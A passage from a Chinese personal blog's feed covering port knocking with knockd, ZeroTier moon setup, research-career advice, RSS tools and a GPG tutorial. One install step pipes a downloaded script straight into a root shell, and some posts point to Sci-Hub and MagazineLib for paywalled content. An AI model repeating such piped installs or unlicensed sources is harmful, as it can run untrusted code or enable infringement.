class="line">x-xss-protection: 1; mode=block</span><br><span class="line">strict-transport-security: max-age=31536000; includeSubDomains</span><br></pre></td></tr></table></figure><h2 id="端口敲门"><strong>端口敲门</strong></h2><p>实现<strong>端口敲门技术</strong>的主要目标是隐藏服务器上的关键端口（如 SSH），仅允许合法用户通过特定的访问顺序来临时打开该端口。这通常通过一个守护程序（如 knockd）来完成。以下是完整的实现步骤：</p><aside>💡<p>这个我就可能暂时不会用到了。</p></aside><p><code>sudo apt install knockd -y</code> 安装之后，配置文件通常位于 /etc/knockd.conf</p><p>编辑文件 /etc/knockd.conf</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[options]</span><br><span class="line">    UseSyslog</span><br><span class="line"></span><br><span class="line">[openSSH]</span><br><span class="line">    sequence    = 7000,8000,9000  # 敲门的端口顺序</span><br><span class="line">    seq_timeout = 15              # 敲门的时间间隔，单位秒</span><br><span class="line">    command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT</span><br><span class="line">    tcpflags    = syn</span><br><span class="line"></span><br><span class="line">[closeSSH]</span><br><span class="line">    sequence    = 9000,8000,7000  # 关闭 SSH 的端口顺序</span><br><span class="line">    seq_timeout = 15</span><br><span class="line">    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT</span><br><span class="line">    tcpflags    = syn</span><br></pre></td></tr></table></figure><p>sequence 是敲门的端口顺序。例如，用户必须按顺序访问 7000 -&gt; 8000 -&gt; 9000，才能打开 SSH 端口。seq_timeout 指的是完成整个敲门顺序的最大允许时间。</p><p>编辑 /etc/default/knockd 文件，将 START_KNOCKD 设置为 1，实现自启动。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl start knockd</span><br><span class="line">sudo systemctl enable knockd</span><br></pre></td></tr></table></figure><p>用knock工具，就能够实现啦。注意敲门的端口都是要打开的。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">knock &lt;服务器IP&gt; 7000 8000 9000</span><br></pre></td></tr></table></figure><h2 id="虚拟局域网">虚拟局域网</h2><h3 id="方案比较">方案比较</h3><p>虚拟局域网（VPN）是一种安全的网络解决方案，可以让远程用户安全地访问服务器资源。以下是几种常用的VPN方案：</p><table><thead><tr><th>VPN方案</th><th>特点</th><th>优势</th><th>缺点</th></tr></thead><tbody><tr><td>WireGuard</td><td>现代VPN协议</td><td>配置简单，代码量少。性能优秀，延迟低。内置Linux内核</td><td>多设备管理复杂，每个节点都必须配置所有其他节点的公钥，才可能完成点对点通信。.</td></tr><tr><td>Tailscale</td><td>基于WireGuard的商业方案</td><td>零配置，自动NAT穿透。 个人用户免费</td><td>自定义中继服务器复杂</td></tr><tr><td>ZeroTier</td><td>虚拟网络方案</td><td>支持点对点连接。 可创建多个虚拟网络。跨平台支持良好。提供免费套餐</td><td>初始连接较慢。网络延迟相对较高。免费版节点数量有限</td></tr></tbody></table><p>wireguard 缺少公钥分发，导致每个节点要配置其他节点的公钥，很复杂。</p><p>对于个人用户来说，Tailscale 是最简单的选择，几乎不需要配置就能使用。但是中国大陆地区缺少中继服务器，导致路由延迟太高了。而且搭建derper中继很麻烦，所以不建议使用。</p><p><a href="https://icloudnative.io/posts/custom-derp-servers/">Tailscale 基础教程：部署私有 DERP 中继服务器</a></p><p>虽然还有其他的便利化的工具，用于生成wireguard的配置，比如netmaker。但是zoretier还是非常方便的。</p><h3 id="ZeriTier">ZeriTier</h3><p>任何运行 ZeroTier 客户端的设备都可以成为一个 <strong>节点</strong>。节点可以是个人电脑、服务器、手机或物联网设备。每个节点都通过其唯一的 40 位地址（Node ID）进行标识。这些地址通过加密算法生成，并且是 ZeroTier 网络中的唯一标识符。</p><p>基础使用看这里：<a href="https://makefile.so/2022/05/27/install-zerotier/">https://makefile.so/2022/05/27/install-zerotier/</a></p><p><strong>Planet 节点</strong>是 ZeroTier 的根目录服务，全球只有一个，项目方建议使用它维护的planet节点。它用于管理网络的分布式地址映射（ID到IP和端口的解析）。它的功能类似于 DNS 系统，但作用于 ZeroTier 网络。并且还允许传递控制器配置给客户端节点。</p><p><strong>Moon Peer</strong> 是一种特殊类型的节点，用于优化节点之间的连接。类似于DHT（分布式哈希表），节点通过Moon来定位网络中的其他节点。通过Moon建立起初始的通信路径，之后节点会尝试直接建立点对点连接。</p><p>这两类节点统称为root server。moon 节点无法代币planet节点，网络的初始配置依赖Planet 节点分发，不过如果已经配置完成，就不依赖 planet了。一般来说没必要自己部署planet节点，但是部署moon节点能提高路由的网速。但如果卫星根节点看起来更快或者没有其他可用选项时，它们会使用月球根节点。</p><p>ZeroTier的路径选择遵循以下逻辑：</p><ol><li>**优先点对点连接（P2P）：**如果两个设备可以通过NAT打洞建立直接连接，ZeroTier会优先使用点对点通信。</li><li><strong>次选</strong>MOON**作为中继：**如果点对点连接不可用，ZeroTier会选择MOON节点作为中继。</li><li><strong>最终使用</strong>PLANET**作为中继：**如果MOON也不可用，流量会通过ZeroTier官方的PLANET节点中继。</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -s https://install.zerotier.com | <span class="built_in">sudo</span> bash <span class="comment"># 安装</span></span><br><span class="line"><span class="built_in">cd</span> /var/lib/zerotier-one <span class="comment"># 工作目录</span></span><br><span class="line"><span class="built_in">sudo</span> sh -c <span class="string">&#x27;zerotier-idtool initmoon identity.public &gt;&gt; moon.json&#x27;</span></span><br></pre></td></tr></table></figure><p><a href="https://docs.zerotier.com/roots/">Private Root Servers | ZeroTier Documentation</a></p><p>按照这里的配置例子，修改moon.json文件。一台服务器也可以，如果你有多台服务器，记得roots里多台服务器的信息都写进去。</p><p><strong>确保端口开放</strong>：每台Moon服务器的stableEndpoints中指定的端口（如9993）需要在防火墙中开放，确保外部可以访问。</p><p><strong>IP地址必须是固定公网IP</strong>：stableEndpoints中的IP需要是Moon服务器的固定公网IP，否则客户端无法连接。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> zerotier-idtool genmoon moon.json <span class="comment"># 签名</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> moons.d <span class="comment"># 移动到默认配置路径下</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> 000000*.moon moons.d</span><br><span class="line"><span class="built_in">sudo</span> systemctl restart zerotier-one</span><br></pre></td></tr></table></figure><p>客户端的配置，把签名后的文件，放在对应的文件夹即可。配置文件位置见：<a href="https://docs.zerotier.com/config/">https://docs.zerotier.com/config/</a></p><p>MAC的重启命令比较特别，参考：<a href="https://docs.zerotier.com/faq-macos/">https://docs.zerotier.com/faq-macos/</a></p><p>最后检查是否成功连接上了：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">zerotier-cli listmoons</span><br></pre></td></tr></table></figure><h3 id="windows的配置">windows的配置</h3><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">choco install zerotier<span class="literal">-one</span> <span class="literal">--force</span></span><br><span class="line"><span class="comment">## 找到相关配置</span></span><br><span class="line"><span class="built_in">Get-Service</span> | <span class="built_in">Where-Object</span> &#123; <span class="variable">$_</span>.DisplayName <span class="operator">-like</span> <span class="string">&quot;*ZeroTier*&quot;</span> <span class="operator">-or</span> <span class="variable">$_</span>.Name <span class="operator">-like</span> <span class="string">&quot;*ZeroTier*&quot;</span> &#125;</span><br></pre></td></tr></table></figure><p>找到正确的服务名称之后 <code>Restart-Service -Name &quot;ZeroTierOneService&quot;</code></p><h3 id="一些优化">一些优化</h3><p>可以自定义DNS，然后就用特殊域名来代替虚拟IP，不过配置稍微麻烦，而且每个节点要单独配置，并且并非全局有效。所以不打算继续。</p><p><a href="https://docs.zerotier.com/dns">DNS | ZeroTier Documentation</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ zerotier-cli listpeers</span><br><span class="line">200 listpeers &lt;ztaddr&gt; &lt;path&gt; &lt;latency&gt; &lt;version&gt; &lt;role&gt;</span><br><span class="line">200 listpeers 778cde7190 103.195.103.66/9993;19480;95249 251 - PLANET</span><br><span class="line">200 listpeers cafe04eba9 84.17.53.155/9993;19480;95270 223 - PLANET</span><br><span class="line">200 listpeers cafe9ccda7 66.90.98.98/9993;19480;95095 407 - PLANET</span><br><span class="line">200 listpeers cafe9efeb9 104.194.8.134/9993;19480;95296 200 - PLANET</span><br><span class="line">200 listpeers de28f6de9a - -1 - LEAF</span><br></pre></td></tr></table></figure><p>是可以看到延迟的，不过缺少显示信息的，是无法P2P连接，需要moon或者planet节点。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/web-security/</id>
    <link href="https://www.blog-blockchain.xyz/dev/web-security/"/>
    <published>2024-12-07T01:16:20.000Z</published>
    <summary>详细介绍个人网站安全防护策略，包括防火墙配置、fail2ban自动拉黑、Nginx反向代理、端口敲门技术、虚拟组网等安全措施，全面提升服务器安全防护能力。</summary>
    <title>如何保障个人网站的安全</title>
    <updated>2026-02-19T16:18:01.163Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="academic" scheme="https://www.blog-blockchain.xyz/categories/academic/"/>
    <category term="academic" scheme="https://www.blog-blockchain.xyz/tags/academic/"/>
    <content>
      <![CDATA[<blockquote><p>计算机科学的科研</p></blockquote><h2 id="会议的等级">会议的等级</h2><p>国内计算机学会的 CCF 划分是比较权威的，虽然它受到了政治立场的影响，对某些会议的评级可能存在偏差，但总体上还是在合理范围内。CCF将会议分为A、B、C三个等级：</p><ul><li>A类会议：质量很高，是公认的顶级会议。</li><li>B类会议：部分质量很高，但整体略低于A类。</li><li>C类会议：质量相对较低，影响力有限。</li></ul><p>一般而言，专注于发表A类会议论文，并选择能够发表A类会议的研究课题，是一个很好的科研策略。值得注意的是，国际认可度高的会议和期刊通常都是英文的，其他语言的学术活动在声望和影响力上往往难以相提并论。</p><p>除了CCF的分类，还有一个重要的参考是Core Conference Rankings。这个系统汇集了全球多个国家和地区的会议评级标准，为研究人员提供了更全面的参考。它可能包含了如下的标准</p><ul><li>SCI（Science Citation Index）：主要用于评估期刊影响力。</li><li>SCIE（Science Citation Index Expanded）：SCI的扩展版本。</li><li>ERA（Excellence in Research for Australia）：澳大利亚的研究评估体系。</li></ul><p>在A类会议中，不同领域的难度和影响力会有所差别，即使都是顶级会议，某些领域的会议由于其研究门槛、竞争激烈程度和技术积累要求，更难被接受。</p><p>网络领域的A类会议，如 <strong>SIGCOMM</strong> 是公认的顶级会议，接受率极低。对论文的创新性要求极高，需对网络性能、架构优化等具有实质性突破。研究门槛高，需要有扎实的理论基础（如排队论、博弈论等），并结合真实系统实现或大规模实验。NSDI 也是很有挑战性的。INFOCOM 今年给注水，被玩坏了，声望下降的厉害。</p><p>安全领域的顶级会议如 CCS（ACM Conference on Computer and Communications Security） 和 S&amp;P（IEEE Symposium on Security and Privacy），需要论文的实用性，比如发现了一个影响较大的漏洞，设计了新颖的协议或者安全模型。但是不同的主题难度也不一样，做工具的需要在工具的效率上有非常大的创新，做某个领域安全检测的需要做非常彻底的实验，但是也存在一些糊弄审稿人，一些没啥用的漏洞去极端条件下实验的。存在做一些emperical study的，很讲究运气还有关系。</p><p>软件工程领域就更加容易注水了，CCF 给软工的许多会都列做A，从质量上来说是合理的。但是存在非常扎实的做了有用的工具的论文，也有只是提到某中模式的经验分析，还有更加一般的调查问卷之类的，比如调查开发流程。一般来说，这里的论文虽然参差不齐，是国人注水的重灾区，但是还是有很多很好的工作的。</p><p>人工智能的顶会我不太熟悉，投稿数量非常大，热点集中，可能是其他领域的十几倍。这种情况很难把握会议的整体论文质量。一般认为 AI 相关的论文更加容易中一些，一般比较短小。13页和8页的论文不是差了5页，而是3页的背景讲完了，你的实质内容和原创贡献10页和5页的区别。</p><p>一些学科交叉的论文，很容易因为审稿人不太懂，导致事实不是很清楚，但是就中了的情况。比如一些人机交互，不是很推荐投这些会议。</p><p>一般来说研究软件、安全，会关注安全四大，软工四大，其次IMC，SIGMETRICS，其次是WWW。如果偏向系统和存储方向，可能会投OSDI、SOSP、USENIX ATC、EuroSys、FAST这些。偏向网络方向的可能投IMC、SIGMETRICS、NSDI。偏向编程语言方面的，可能投 PLDI、PODL、OOPSLA。</p><p>如果以上的会议没有中，会开始投期刊，因为上面那一轮下来基本已经快一年了吧，期刊可能还需要半年。期刊一般也是按着 CCF A 的顺序投稿。</p><h2 id="文献习惯">文献习惯</h2><p>首先，文献一定要多读，读文献就像喝水吃饭一样正常。读文献就是你的工作。但是也一定要行动，去做实验，去验证自己的猜想还有假设。</p><p>对于每一篇论文，要记住它的：1）会议名称+年份。2）论文标题。3）作者小组，以及一作名字。4）主要关注点和解决的问题，使用的方法论。</p><p>记住论文，才是你和同行交流 idea 的共同语言，尤其是两个来自完全不一样的地方的人，你们的共同语言可能就剩下这个了。其次就是你记得住对方组的论文，甚至能想起来他的论文，你们还能侃侃而谈，说到了很多其他人的工作，那么就很容易给对方很好的印象。一般名校的同学都会这样做到。</p><p>虽然强调要多看论文，但是计算机科学是动手的学科，当你觉得是个好的idea的时候，你就该去动手。虽然新手的idea大概率不会有多好，但是动手去做，真正的写出一篇13页的论文，从实验设计、数据收集、数据分析和绘图、论文写作、投稿和rebuttal走一遍，你会有非常大的进步。所以，<strong>请你赶快完成你的第一个课题，投稿第一篇文章</strong>。然后等着被审稿人批评，接着去找师兄、老师、同一个方向的其他老师虚心修改。</p><p><strong>好的课题比一直投入更加重要</strong>。我在给论文库里的论文加上标签的时候，我发现自己之前做的网络测量参考的论文，很多都是B期刊，甚至C期刊。这说明老师一开始给我的课题就不太行，还好是我找到了新的突破点，不然就完蛋了。</p><p><strong>如何发现好的课题呢</strong>？首先吧你的方向的顶会的论文，最近3年的，全部看一遍标题和摘要，快速浏览。这一步是知道你最优秀的同行他们关心着什么，在做什么。接着你就会对一个课题的层次，有了模糊的判断。此时，<strong>你很容易分不清什么是重要的和可做的</strong>。因为看到太多的论文，你会发现他们有没做完的东西，或者按照你对系统的理解，存在拓展的方向，那就会产生非常多的idea。那么我觉得，如果你想投入去做，那可以去做，但是可能会经历很长时间的写代码、做系统原型。总之，不是轻松的工作。</p><p><strong>什么是轻松好出论文的工作呢</strong>？第一种模式，第一个提出某种现象，并且做了现象的解释，数据的分析。这种模式关键是快，而且选题要比较准，要是真的关注的重点。比如说你在安全公司上班，你整天处理的东西。这个就要贴近业界才会有更多的发现。</p><p>第二种模式，用同类的方法快速的扩张。方法论都有了，你只需迁移和实现，并且实现并不难的工作。可以去类比和迁移其他事物。</p><p>困难模式：你去挖掘一个系统是否存在bug，并且从某种设计中看到着这种设计的缺陷，然后非常深入的开了一个可以持续研究的话题。这种模式前期投入非常大，一般属于师门没啥帮助，自己摸索求生，接着有点悟性找到了可以做的点。相比于解决热点问题，自己找到问题，或许这种悟性是比较难得的。不过也要注意论文产出，毕竟硬通货才是前途的基石。</p><p><strong>实用的网站 dblp</strong></p><p><a href="https://dblp.org/">dblp: computer science bibliography</a></p><ul><li>搜索想要的论文，直接输入名字。</li><li>搜索论文集，直接输入名字。</li><li>搜索作者，直接输入名字。</li></ul><p>一般已经发表，在出版社的论文，都能搜索得到。</p><p><a href="https://scholar.google.com/">Google Scholar</a></p><p>google scholar 是最常用的找论文的地方，一般是最全的。不过不如dblp好用。</p><p>其次还有各个出版社的网站：</p><p><a href="https://link.springer.com/"></a></p><p><a href="https://ieeexplore.ieee.org/Xplore/home.jsp">IEEE Xplore</a></p><p><a href="https://dl.acm.org/">ACM Digital Library</a></p><p><a href="https://www.connectedpapers.com/">Connected Papers | Find and explore academic papers</a></p><p>Connected Papers 是一个非常有用的文献可视化工具。它的主要功能包括：</p><ul><li>生成论文关系图：输入一篇核心论文后，它会生成与之相关的论文网络图。</li><li>发现相关研究：通过图形化展示，可以轻松找到与你感兴趣主题相关的其他论文。</li><li>追踪研究发展：可以看到某一研究领域的发展脉络和趋势。</li><li>识别关键文献：帮助你快速定位某一领域的重要文献和核心作者。</li></ul><p>这个工具对于文献综述、了解研究前沿、寻找新的研究方向都很有帮助。它通过可视化的方式，让文献检索和阅读变得更加直观和高效。</p><p><strong>Sci-Hub</strong> 可以找到大量的免费的论文。</p><h2 id="文献整理">文献整理</h2><p>文献要使用工具整理，我使用的是zotero，开源免费，更新到 7 之后更加美观好用了。可以尝试社区推荐的插件，基本上靠前的插件都是比较有用的。</p><p><a href="https://zotero-chinese.com/plugins/">Zotero 中文社区</a></p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/academic/</id>
    <link href="https://www.blog-blockchain.xyz/career/academic/"/>
    <published>2024-11-21T17:38:21.000Z</published>
    <summary>计算机科学科研指南：详解CCF会议等级评价体系，分析不同领域A类会议难度差异，分享文献阅读习惯和课题选择策略，提供实用的学术资源平台推荐，为科研新手提供从论文投稿到学术成长的全面建议。</summary>
    <title>科研小总结</title>
    <updated>2026-02-19T16:18:01.137Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="阅读软件">阅读软件</h2><p>我用过 Feedly，它很适合免费的用户，但是我个人不喜欢它的 UI 界面，我更喜欢 inoreader 的界面，因为我需要更大的预览空间。</p><p><img src="https://cdn.blog-blockchain.xyz/2024/11/a12629b05354d36e416e797a1866f97e.png" alt="7dfed938c6e0775286a10d2ab8f2a76a"></p><p><img src="https://cdn.blog-blockchain.xyz/2024/11/8833584290085d1395f63f373b51a4f9.png" alt="CleanShot 2024-11-19 at 22.44.33@2x.png"></p><p>follow 也不错，布局是类似的，而且是开源的，支持加密货币大赏，我喜欢它的UI还有激励模式。它会激励一些收费的feed出现，刺激RSS生态的发展。但是它目前还在公测中，很多的功能用不了。</p><p><a href="https://github.com/RSSNext/follow">https://github.com/RSSNext/follow</a></p><p><img src="https://cdn.blog-blockchain.xyz/2024/11/5855c195d53f88f8a0503127b0d9265e.png" alt="CleanShot 2024-11-19 at 23.02.20@2x.png"></p><p>我在试用期的时候，被 Inoreader 吸引力，核心在于</p><ol><li>它居然和youtube联合，可以用 youtube 的 API 自动就导入了我关注的频道。</li><li>AI识别网站生成 feed的能力很强大。我可以关注 bilibili 感兴趣的 UP 主的视频。虽然由于反爬虫机制，可能会爬取失败，但是多尝试几次，一般都能成功。</li></ol><p>Inoreader和其他的 RSS 一样，也有移动和网页客户端，网页有插件能很方便的收藏阅读和加入feed。我购买一年，一年大概432人民币，我还能接受。</p><h2 id="订阅渠道">订阅渠道</h2><ul><li>RSSHub: <a href="https://docs.rsshub.app/zh/">https://docs.rsshub.app/zh/</a> RSSHub是一个开源、简单易用、易于扩展的RSS生成器，可以给任何奇奇怪怪的内容生成RSS订阅源。它支持多种网站和平台，让用户可以轻松订阅原本没有RSS的内容。</li><li>GitHub - Top RSS List: <a href="https://github.com/weekend-project-space/top-rss-list">https://github.com/weekend-project-space/top-rss-list</a> 这个GitHub仓库提供了一个精选的RSS订阅源列表，涵盖了多个领域和主题。它可以帮助用户发现高质量的内容源，丰富自己的RSS阅读体验。</li><li>Feed Search Engine: <a href="https://feed.hocgin.com/feed/search">https://feed.hocgin.com/feed/search</a> 这是一个RSS订阅源搜索引擎，可以帮助用户快速找到感兴趣的RSS源。通过这个工具，用户可以根据关键词或主题搜索相关的RSS订阅，从而更容易地发现和订阅符合自己兴趣的内容。</li></ul><h2 id="推荐源">推荐源</h2><ul><li>少数派：<a href="https://sspai.com/feed">https://sspai.com/feed</a> 少数派是一个关注科技、生活方式和效率工具的中文网站，提供高质量的文章和评测。</li><li>V2EX论坛：<a href="https://v2ex.com/feed/">https://v2ex.com/feed/</a> V2EX是一个面向程序员和创意工作者的社区，提供了丰富的技术讨论和信息交流。</li><li>潮流周刊：<a href="https://weekly.tw93.fun/">https://weekly.tw93.fun</a> 潮流周刊是一个分享有趣、实用的互联网新鲜事物的网站，每周更新。</li><li>小众软件：<a href="https://www.appinn.com/feed">https://www.appinn.com/feed</a> 小众软件是一个专注于推荐优秀软件的网站，尤其关注小众但实用的应用程序。</li><li>月光博客：<a href="http://feed.williamlong.info/">http://feed.williamlong.info</a> 月光博客是一个关注互联网、IT技术和数码产品的博客，提供深度分析和评论。</li><li>36氪：<a href="http://www.36kr.com/feed">http://www.36kr.com/feed</a> 36氪是一个专注于科技创新、创业和投资的新闻网站，提供最新的商业资讯和深度报道。</li><li><a href="http://linux.do">linux.do</a>：<a href="https://linux.do/t/topic/23342">https://linux.do/t/topic/23342</a> ，各种IT话题。</li></ul><p>一些要付费的新闻，比如纽约时报，可以看别人整理的每周专辑：</p><ul><li><a href="https://github.com/hehonghui/awesome-english-ebooks">https://github.com/hehonghui/awesome-english-ebooks</a></li><li><a href="https://magazinelib.com/">MagazineLib</a>：一个提供各种杂志和报纸电子版的网站，包括纽约时报在内的多种付费新闻源。</li></ul><p>还有非常多的RSS去探索，把它作为信息收集的工具，你会发现原来很多新兴的东西，很早就在一些科技论坛、博客里讨论过了。选择自己感兴趣的去了解即可。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/rss/</id>
    <link href="https://www.blog-blockchain.xyz/dev/rss/"/>
    <published>2024-11-19T15:43:20.000Z</published>
    <summary>介绍RSS信息聚合的工具和实践，包括Inoreader、Feedly等阅读软件对比，RSSHub订阅源发现，以及优质RSS源推荐，帮助构建高效的信息获取体系。</summary>
    <title>RSS信息汇聚</title>
    <updated>2026-02-19T16:18:01.164Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<p>GPG 是一款强大的开源加密工具，基于公钥密码学原理，为电子通信提供隐私保护和数据验证。它广泛应用于确保信息安全和身份认证。</p><h2 id="安装指南">安装指南</h2><h3 id="Linux-系统">Linux 系统</h3><p><strong>Debian/Ubuntu:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install gnupg</span><br></pre></td></tr></table></figure><p><strong>CentOS/RHEL:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum install gnupg</span><br></pre></td></tr></table></figure><p><strong>Fedora:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> dnf install gnupg</span><br></pre></td></tr></table></figure><p><strong>Arch Linux:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S gnupg</span><br></pre></td></tr></table></figure><h3 id="macOS">macOS</h3><p>使用 <a href="https://brew.sh/">Homebrew</a> 安装：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install gnupg</span><br></pre></td></tr></table></figure><h3 id="Windows">Windows</h3><ul><li><ol><li>从 <a href="https://gpg4win.org/">Gpg4win 官方网站</a> 下载安装包 2. 运行安装程序，按提示完成安装 3. 安装后，在命令提示符或 PowerShell 中验证</li></ol></li></ul><h3 id="FreeBSD">FreeBSD</h3><p>通过 pkg 包管理器安装：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pkg install gnupg</span><br></pre></td></tr></table></figure><h3 id="验证安装">验证安装</h3><p>在任何平台上，运行以下命令确认安装成功：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --version</span><br></pre></td></tr></table></figure><p>如果显示版本信息和支持的加密算法，则表示安装成功。</p><h2 id="密钥管理">密钥管理</h2><h3 id="生成密钥对"><strong>生成密钥对</strong></h3><p>首先需要生成自己的公钥和私钥（如果尚未生成）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">bash</span><br><span class="line">复制代码</span><br><span class="line">gpg --full-generate-key</span><br></pre></td></tr></table></figure><ul><li>按提示选择：<ol><li>密钥类型：选择 <code>(1)</code> RSA and RSA。</li><li>密钥长度：一般选择 <code>2048</code> 或 <code>4096</code>。</li><li>密钥有效期：设置为 <code>0</code>（永不过期）或指定期限。</li><li>输入姓名和电子邮件：用于标识密钥。</li><li>设置密码：保护私钥安全。</li></ol></li></ul><h3 id="查看密钥">查看密钥</h3><p>列出所有公钥：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --list-keys</span><br></pre></td></tr></table></figure><p>列出所有私钥：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --list-secret-keys</span><br></pre></td></tr></table></figure><p>这些命令将显示你系统中的所有公钥和私钥，包括密钥 ID、用户 ID 和创建日期等信息。</p><h3 id="导入私钥或者公钥"><strong>导入私钥或者公钥</strong></h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gpg --import privatekey.asc</span><br><span class="line">gpg --import publickey.asc</span><br></pre></td></tr></table></figure><p>导入他人的公钥时会包括与该公钥关联的用户名和邮箱地址。这些信息是公钥的一部分，用于识别公钥的所有者。</p><h3 id="导出公钥">导出公钥</h3><p>要与他人共享你的公钥，可以导出它：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --<span class="built_in">export</span> --armor your_email@example.com(或者uid) &gt; public_key.asc</span><br></pre></td></tr></table></figure><p>这将创建一个名为 public_key.asc 的 ASCII 格式文件，包含你的公钥。 <code>--armor</code> 选项将输出转换为 ASCII 编码的“装甲格式”（Armored format）。没有这个选项，默认是二进制。<code>.asc</code> 是一种文件扩展名，表示文件以 <strong>ASCII 装甲格式（ASCII Armored Format）</strong> 存储的数据。它通常用于 <strong>GPG 加密或签名的密钥、签名或加密文件</strong>。</p><h3 id="导出私钥">导出私钥</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --export-secret-keys --armor &lt;your_email&gt; &gt; privatekey.asc</span><br></pre></td></tr></table></figure><h3 id="删除私钥或者公钥">删除私钥或者公钥</h3><p>删除公钥：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --delete-keys &lt;key_id&gt;</span><br></pre></td></tr></table></figure><p>删除私钥：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --delete-secret-keys &lt;key_id&gt;</span><br></pre></td></tr></table></figure><h3 id="验证公钥指纹">验证公钥指纹</h3><p>通过哈希算法计算公钥的唯一标识符，验证密钥的真实性和来源。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ gpg --fingerprint &lt;key_id&gt;</span><br><span class="line">pub   rsa4096 2022-01-01 [SC]</span><br><span class="line">      A1B2 C3D4 E5F6 1234 5678 90AB CDEF 1234 5678 9ABC</span><br><span class="line">uid           [ultimate] Alice &lt;alice@example.com&gt;</span><br><span class="line">sub   rsa4096 2022-01-01 [E]</span><br></pre></td></tr></table></figure><h2 id="加密和解密">加密和解密</h2><h3 id="加密文件"><strong>加密文件</strong></h3><p>使用接收方的公钥加密文件。例如，将文件 example.txt 加密为 example.txt.gpg：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output example.txt.gpg --encrypt --recipient &lt;recipient_email&gt; example.txt</span><br></pre></td></tr></table></figure><p><strong>gpg 使用混合加密</strong>，在混合加密过程中，gpg 会自动生成一个随机的、一次性的对称密钥。</p><p><strong>加密过程</strong>：gpg 